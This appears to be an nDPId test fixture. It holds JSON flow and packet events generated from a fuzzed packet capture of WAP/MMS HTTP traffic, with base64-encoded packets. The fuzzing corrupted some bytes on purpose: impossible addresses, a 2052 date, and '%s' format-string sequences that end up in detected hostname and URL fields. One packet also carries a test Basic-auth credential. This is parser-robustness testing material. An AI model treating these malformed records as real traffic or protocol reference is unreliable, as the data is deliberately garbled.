+02374{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854488,"pkt_ts_usec":667572,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"CAAgsl17AFCLk5N8CABFAAXc90pAAIAGn5asFAMFrBQDDQopAFDkS7A+yacNVVAQIjhRbwAAMjAxLnhtbCIsIjEtT3dQVndnTWs4aXRxR3gwOGZNWXVTdz09IiwiMi1IZ0NURVFFMW8ydmVOM0ZCeW8xLzVnPT0iLCIzLXpJdGdzSXlLQnBCem01c2xPb2RISEE9PSINCkNvb2tpZTogVXNlci1JZGVudGl0eS1Gb3J3YXJkLXBwcC11c2VybmFtZT02QzZENjM2RDZGNkM2Ng0KQ29vmmllOiBVc3VyLUlkZW50aXR5LUZvcndhcmQtbXNpc2RuPTM0MzkzMTPXMzIzNjMxMzAzMTMwMzAzNA0KQ29va2llOiBVc2VyLUlkZW5kaXR5LUF1dGhlbnRpY2F0aW9uPUJlYXJlcg0KQ29va2llOiBJcC1BZGRyZXNzPTE5Mi4xNjh3Mi4xMw0KQ29va2mOOiBCZWFyJXMAVHlwZT1VRFANCldBUC1Db25uZWN0aW9uOiBTdGFjay1UeXBlPUNPDQpDb29raWU6IHd0bHMtc2VjdXJpdHktbGV2ZWw9bm9uZQ0KQ29udGVudC1MZW5ndGg6IDM5NTYNCg0KjICYMS05Z2EwAI2QhQQ9gOeoiQGBlys0OTE3MjYxMDEwMDQvVFlQRT1QTE1OAJZSRTogAIqAiASBAg4Qj4GUgYaAkICEqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":10,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1031854488668,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.3.5","src_port":81,"dst_port":2601,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00421{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854488,"pkt_ts_usec":668075,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFCLk5N8CAAgsl17CABFAAAoxKhAAEAGF+2sFAMNrBQDBQBRCinJpw1V5EuwPlAQgyxYbQAA"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":11,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1031854488668,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"0.20.3.13","dst_ip":"172.20.3.5","src_port":80,"dst_port":2601,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00421{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854488,"pkt_ts_usec":668094,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFCLk5N8CAAgsl17CABFAAAoxKlAAEAGJXMAFAMNrBQDBQBQCinJpw1V5Eu18lAQgyxSuQAA"} +02389{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854488,"pkt_ts_usec":668468,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"CAAgsl17AFCLk5N8CABFAAXc+EpAAIAGnpasFAMFrBQDDQopAFDkS7XyyacNVVAQIji3tQAApDAxgASgCvTaPPgeM+XgsJQEIgodGH0mb5SODuKqBDRCxAo8xI9ibn5zZAQNATm1rQuB\/Tv\/9pIEM+YYAxz234p8wqMEBCloMXhtvJDO3jHSDAQpiww+VXGU8j4aFJIEkgoaODzItbTK\/3Okohxs5omFIJUaBLdDxARuChTIdrimOXAFrkwELScHBx3qH4ZDwBOKBA3TYPo+L4LS+vdrgAQbbMsRHffBx806m1oEDdNrNzk9jiKMy+82BDFR20Ul6eTmKw+NPgRKPRH5vWSRX0xgi9wEMwDKKBX+FayuGTmCBEQmEIgt4KRe0NsHZgQZMhw5dQT1RcD+FggEGR4UM107FbFtg428BBomcIOYLoHrWZo1EAQCbAAYPTF8pwGAGXgEbiaAzz35MVq76N7ABBBfIjOlDJRDwiRGkAQ0bCCHjYb\/nK3EXJYEnSYOqDU4dFKZH7H4BNCeweih\/+hUv5Ml1gQ5QgcIklWaoT0ADBQEMTPWCLSfWPJfKLLgBBtCy82SUDmkN3j8XAS3M\/8IMTNoXtNUv6wEIsAYCBeB4FLAwBiUBCEmFvgV+VW14pnhYgTKAA6DmCzRqtAdecAEAiYIx5kRJ7pH3oksBA3Tvxhc0jat02LVvASSU7uzlVu0mcqpbyIERAoQ44hkUDv4vnewBA1yI1qRTghUPlgwigQDCjGbpShq3rOi024EZAcuZ6J\/kD3RZjXUBG69La2ledXXTntSXgQaAC2t04FH1aMt5RIEGo8q3cXbYFpAFQ8iBAKLJznliQBpy7c06gQB1inLkNphI85iN34EAUDnPOrPQNLmTbgOBA4eKB6VnpFDTYiEGARawh494InghrNGonKEDsKzvYV6IKTjquR+BBrR8Kic1OdIymYfHgQBOnM5lWtE7NhzybgEW1EiybWZwaamcaCsBCLAGXy1hWXZ+xLCggQjGQTOzEyXViGRBToEYBQbfJWNES1dDFmGBOAeZC6VXiEe4wTgKARbwC2M3cVhtfM2dvIEXwATO51479XQKsmcBMrTITWtHz2cpIacWgSgQiJt7ax+H98dCLYEYEImrd1jOizCQRCCBAITIq3kvAAoURDlqgQBcyKtyao8jNBiABgEGgcirZ3YXuzCIIOqBCIKoq2tOBC1RkVs+gRgayKpoe9YqiVzAM4EGmsk6JTH0eSkCwigBBpzIdmhPYnO6s02FgQa8CJ0rXcBzSSWt2IEbs8iibGvWC\/PMJykBDGSJ6y9kSu7QiieEATKkjKtlM0xytkRH+YEwJJIbOKlTBs3gOc0BCFrjErVxPwc3UrG7ATQkj6tmWBsAuNWWSQEG\/Y6q9WOKsJ0OQJUBBxrOum5o3wEHEFw4gQbazmbsqkRfULyUI4EbsY6bHU5XBTwV1tyBGBzOnmyUnFQcAxq\/gRgxjqtlUYdcNMIORAEwNw6abCPGcptRZcEBGDGOkyRfFkCbx5gMASSEquolHpQyoKBFwIEAo3AeKQ1EEIKhFO0BGBsOjvZTT6ZTwS7egQcazdr1M03efjiJTgEYDMzfZ9vBbKkYVGYBJ2SQq3dyJEaIxgirAQhQkLttFRXZB6cwWoEAvFA6ZLeWjh+4ZEDBC2NQpqyT9gX8ZmpdAQBjUabo+MHxEXYt\/JEYHNF2YzZT+eYn71EBAGyQ1u9ixDXGTRNRARgjUdsqBFoQ\/VME\/4EYMFGuJXT5QDtECRsBGCNSNr30BNENlHIIgQh80+lw2eeVwomkMgEAvNQ7oyyHvqzpF6oBBvz3rmK9l\/NICUqAAQQxwxxg0m+rTTtZXIEWpQJLapSn3hQckuABBAdEqyzlW6HtJ01egRfTxDpddVg+g21viAEoJTws4izwYbSnLPSBBodDBua3iHXJJR4RAQ8jQzYZ22xJLyfVqoEOy3ZejLimzpyF0F0BFsdEz2YWSCyQDFIfARujeDpMrEaWm+FKHY="} +02369{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854488,"pkt_ts_usec":668581,"pkt_caplen":1501,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1501,"pkt_l4_len":1467,"pkt":"CAAgsl17AFCLk5N8CABFAAXP+UpAAIAGnaOsFAMFrBQDDQopAFDkS7umyacNVVAYIjjIJQAABAJrB8yCbSsWpO\/x\/AQBcxjIj+rVOGKvIkwEW40Tl7\/M5IuodglCBBuNaoqCaXGSeaqnMgRga225zyVzAJokY0AEAdynPDnknOMgWNpgBFtro4mPvwVzMQvcvAQBc+rjst9KCr2QKLoEYHMZSjKuurDadlSoBAIzOzqhiWhRuK3YdARg3Hw4hEKAWzdZA2wErTNACMIBhESOkqPiBBoKWsk99SBwKZid0gRFwfjIUvaZLTNJlKQEZ0LJY6SK0dieOQUABAKNDYsxoRkdjBznWgQac4AJiFEAfpvh9qgEZ0IQM7KAumwjEq5SBKBzCqU9f5AsaogI0gQQ8BB3Mu\/a00doz7wEYEIVhcWf9MtCKyxuBCIH3iNdPmFSoSq3zgQb5tsnlVF1pXY2bm4EYAMBSYgBsITcXDagBC1CQOONwX472OjyZgQiUw9HOLAQzkEFvkIEJMwYDB60UI5A+DBCBFtCGTpVIURmjluUJgQiaKp7ONGgpxRQECQEYELYc12g\/nigEoTgBBBzHDg4HyFHPiu65AQtU+\/DrYtlLDHpZjQEI\/AXIzU\/pJNW1i9UBBsAIPh9iPCOKmtpgAQxMrdzNeDkk+MN13QEwKkiCowsl6pVeGQSBJSBCUeVDbSteKBWpAQx1RrLik5w0dqeXKwEyoTs2xq4wckfM05gBDQmc8o9KXHQCkJMUASFbAsI\/BGnOIvh+HoETuYICJ2bTjDogVGEBCIZI4OVmLWSZg2ANgRuHq4hjeb\/psWyCwgEMzJ0BT03D2Iectuoqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00421{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854488,"pkt_ts_usec":771624,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFCLk5N8CAAgsl17CABFAAAoxKpAAEAGF+usFAMNrBQDBQBQCinJpw1V5EvBTVAwgyxHXgAA"} +00639{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":15,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854488,"pkt_ts_usec":923980,"pkt_caplen":243,"pkt_type":21760,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":243,"pkt_l4_len":0,"pkt":"AFCLk5N8CAAgsl17VQBFAADlxKtAAEAGFy2sFAMNrBQDBQBQCinLpw1V5EvBTVAYgyzwBgAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXL+IFJlc2luLzIuMMsxDQpDb2509m50LVR5cGU6IGFwcGxpY2F0aW9uL3ZuZC53YXAubW1zLW1lc3NhZ2UNCkNvbnRlbnQtTGVuZ3RoOiA0NQ0KRGF0ZTogVGh1LCAxMiBTZXAgMjAwMiAxODoxNDo0OCBHTVQNCg0KjIGYMS05YmEwAI2QkoCLMTg5MzAwQGdl\/WTHMi5tb2JpbGl0eWxhYi5uZXQA"} +00172{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":15,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","type":21760} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":16,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1031854489004,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.3.5","src_port":53132,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00431{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854489,"pkt_ts_usec":4849,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AFCLk5N8CAAgsl17CABFAAAwxKxAAEAGF+GsFAMNrBQDBc+MAFDJtOyOAAAAAHACgywbmAAAAQEEiQIEBbQ="} +00427{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854489,"pkt_ts_usec":5121,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"CAAgsl17AFCLk5N8CABFAAAs+0pAAIAGoUasFAMFrBQDDQBQz4zkTZoOyWDsj2ASIjgTJgAAAgQFtG4v"} +00420{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854489,"pkt_ts_usec":5143,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFCLk5N8CAAgsl17CABFAAAoxK1AAEAGF+isFAMNrBQDBc+MAFDJtOyP\/k2aD1AQgyzJ7gAA"} +00846{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854489,"pkt_ts_usec":6623,"pkt_caplen":370,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":370,"pkt_l4_len":336,"pkt":"AFCLk5N8CAAgsl17CABFAAFkxK5AAEAGFqusFAMNrBQDBc+MAFDJtOyP5E2aD1AYgyzf6gAAUE9TVCAvcHBnY3RybC9wcGdjb250cm9sbG9naWMuZGxsIEhUVFAvMS4xDQpBdXRob3JpemF0aW9uOiBCYXNpYyBiRzFqWDNjNlZHVnpkREV5TXpRPQ0KQ29udGVudC1UeXBlOiBtdWx0aXBhcnQvcmVsYXRlZDsgYm91bmRhcnk9Im1zZ3BhcnRfMF8xMDM4XzEwMzE4NTQ0GDg5OTkiOyB0eXAlcwBhcHBsaWNhdGlvbi94bWwiDQpVc2VyLUFnZW50OiBNTVMtUmVsYXktRGVsaXZlcnlJbml0aWF0b3INCkFjY2VxdDogYXBwbGljYXRpb24vem1sDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpIb3N0OiVzADIuMjAuMy41DQpDb250ZW50LWxlbmd0aDogODQwDQoNCg=="} +00632{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":19,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":4,"flow_first_seen":1031854489004,"flow_last_seen":1031854489006,"flow_tot_l4_data_len":408,"flow_min_l4_data_len":20,"flow_max_l4_data_len":336,"flow_avg_l4_data_len":102,"midstream":0,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.3.5","src_port":53132,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"%s","url":"%s","code":0,"content_type":"","user_agent":"MMS-Relay-DeliveryInitiator"}} +01542{"flow_id":5,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854489,"pkt_ts_usec":6736,"pkt_caplen":894,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":894,"pkt_l4_len":860,"pkt":"AFCLk5N8CAAgsl0UCABFAANwxK9AAEAGFJ6sFAMNrBQDBc+MAFDJtO3L5E2aD1AYgyzm2AAALS1tc2dwYXJ0XzBfMTAzOF8xMDMxODU0NDg4OTk5DQpDb250ZW50LVR5cGU6IGFwcGxpuWF0aW9uL0ZtbA0KDQo8P3htbCB2JXMAaW9uPSIxLjAiPz4NCjwhRE9DVFlQRSBwYXAgUFVCTElDICItLy9XQVBGT1JVTS+DRFREIFBBUCAxLjAvL0VOIg0KICAgICAgICAgImh0dHA6Ly93d3cud2FwZm9ydW0ub3JnL0RURC9wYXBfMS4wLmR0ZCI+DQo8cGFwPg2qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} +00428{"flow_id":5,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854489,"pkt_ts_usec":7052,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAgsl17AFCLk5N8CABFAAAo\/EpAAIAGoE6sFAMFrBQDDQBQz4zkTZoPybTxE1AQHbQq4wAAAgQFtG4v"} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":22,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1031854489007,"flow_last_seen":0,"flow_tot_l4_data_len":109,"flow_min_l4_data_len":109,"flow_max_l4_data_len":109,"flow_avg_l4_data_len":109,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.1","dst_ip":"172.20.3.13","src_port":80,"dst_port":53132,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00543{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854489,"pkt_ts_usec":7208,"pkt_caplen":143,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":143,"pkt_l4_len":109,"pkt":"CAAgsl17AFCLk5N8CABFAACB\/UpAAIAGnvGsFAMBrBQDDQBQz4zkTZoPybTxE1AYHbQX8gAASFRUUC8xLjEgMTAwIENvbnRpbnVlDQpTZXJ2ZXI6IE1pY3Jvc29mdC1JSVMvNC4wDQpQYXRlOiBUaHUsIDEyIFNlcCAyMDAyIDE3OjU4OjU2IEdNVA0KDQo="} +00525{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":22,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1031854489007,"flow_last_seen":0,"flow_tot_l4_data_len":109,"flow_min_l4_data_len":109,"flow_max_l4_data_len":109,"flow_avg_l4_data_len":109,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.1","dst_ip":"172.20.3.13","src_port":80,"dst_port":53132,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00419{"flow_id":5,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854489,"pkt_ts_usec":7274,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFCLk5N8CAAgsl17CABFAAAoxLBAAEAGLeWsFAMNrBQDBc+MAFDJtPET5E2aaFAQgyzFEQAA"} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":24,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1031854489031,"flow_last_seen":0,"flow_tot_l4_data_len":161,"flow_min_l4_data_len":161,"flow_max_l4_data_len":161,"flow_avg_l4_data_len":161,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.5","dst_ip":"172.57.3.13","src_port":80,"dst_port":53132,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00612{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854489,"pkt_ts_usec":31542,"pkt_caplen":195,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":195,"pkt_l4_len":161,"pkt":"CAAgsl17AFCLk5N8CABFAAC1\/kpAAIAGnb2sFAMFrDkDDQBQz4zkTZpoybTxE1AYHbQrwQAASFRUby8xLjEgMjAyIEFjY2VwdGVkDQpTZXJ2ZXI6IE1pY3Jvc29mdC1JSVMvNC4wDQpEYXRlOiBUaHUsIDEyIFNlcCAyMDUyIDE3OjU4OjU2IEdNVA0KQ29udGVudC1MZW5ndGg6IDQyNw0KJXMAdGVudC1UeXBlOiBhcHBsaWNhdGlvbi94bWwNCg0K"} +00525{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":24,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1031854489031,"flow_last_seen":0,"flow_tot_l4_data_len":161,"flow_min_l4_data_len":161,"flow_max_l4_data_len":161,"flow_avg_l4_data_len":161,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.5","dst_ip":"172.57.3.13","src_port":80,"dst_port":53132,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00421{"flow_id":5,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854489,"pkt_ts_usec":131654,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFCLk5N8CAAgsl1QCABFAAAoxLFAAEAGF+SsFAMNrBQDBc+MAFDJtPE35E2a9VAQgyzEhAAA"} 